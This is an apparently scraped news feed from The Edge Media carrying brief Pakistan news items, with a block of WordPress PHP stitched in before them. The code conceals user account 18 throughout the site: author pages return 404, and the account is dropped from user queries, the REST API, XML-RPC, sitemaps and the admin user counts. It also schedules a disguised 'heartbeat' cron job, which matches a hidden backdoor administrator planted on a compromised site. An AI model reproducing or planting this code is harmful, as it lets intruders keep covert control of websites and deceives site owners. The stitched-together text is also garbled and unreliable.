add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Imran Khan No Longer Prime Minister Of Pakistan Due To No-Trust Vote appeared first on The Edge Media.
]]>Imran Khan, who was elected Into power in 2018, was subjected to a no-confidence vote, which was mostly based on allegations of economic failure. Hardly a Pakistani prime minister has ever served for the whole five-year tenure.
The post Imran Khan No Longer Prime Minister Of Pakistan Due To No-Trust Vote appeared first on The Edge Media.
]]>The post Pakistan’s Peshawar Mosque Bombing Kills 56 People appeared first on The Edge Media.
]]>The incident began when two armed assailants began firing on police near a mosque in Peshawar’s old city, according to Peshawar Police Chief Muhammed Ejaz Khan. During the firefight, one assailant and one police officer were shot, while another police officer was injured. The final assailant dashed into the mosque and exploded a bomb.
The post Pakistan’s Peshawar Mosque Bombing Kills 56 People appeared first on The Edge Media.
]]>The post Bus collides with a trailer truck on highway in Pakistan appeared first on The Edge Media.
]]>
The bus was en route from Sialkot to Rajanpur when the accident took place on the Indus Highway near Taunsa bypass in Dera Ghazi Khan district, some 430 km from Lahore.
The majority of the passengers were labourers who were going to their hometown to celebrate Eid-ul Azha on Wednesday, officials said.
The injured were shifted to a nearby hospital where medical staff confirmed the death of 18 people upon their arrival.
Minister of Information and Broadcasting of Pakistan Fawad Chaudhry in a tweet confirmed that at least thirty people have lost their lives in the accident near Dera Ghazi Khan.
He appealed to public vehicle drivers to drive carefully for the safety of passengers.
The post Bus collides with a trailer truck on highway in Pakistan appeared first on The Edge Media.
]]>The post Canada halts passenger flights from India and Pakistan appeared first on The Edge Media.
]]>It is reported that covid has been confirmed among the passengers coming from these two countries and their number is high.
He further said that it is being implemented temporarily and a decision will be taken keeping in mind the condition of corona infection in future.
He further said that this will not be applicable to cargo aircraft, so that the supply of vaccine, PPE kit and other essential goods can be met to meet the requirements.
Let us know that in the last 24 hours, more than three lakh cases of corona virus have been reported in the country, this is the figure of the day.
Double mutants are being found in corona infection in India. Canadian Health Minister Patty Hajdu said that only 1.8 percent of the travelers coming from outside in the state were found to be corona infected.
He further said that Indians account for 20 per cent of Corona positive patients in all flights to Canada and the same is also with Pakistan.
Therefore, travelers coming from these two countries have been banned. Let me tell you that in December last year, Canada banned flights coming from Britain.
The post Canada halts passenger flights from India and Pakistan appeared first on The Edge Media.
]]>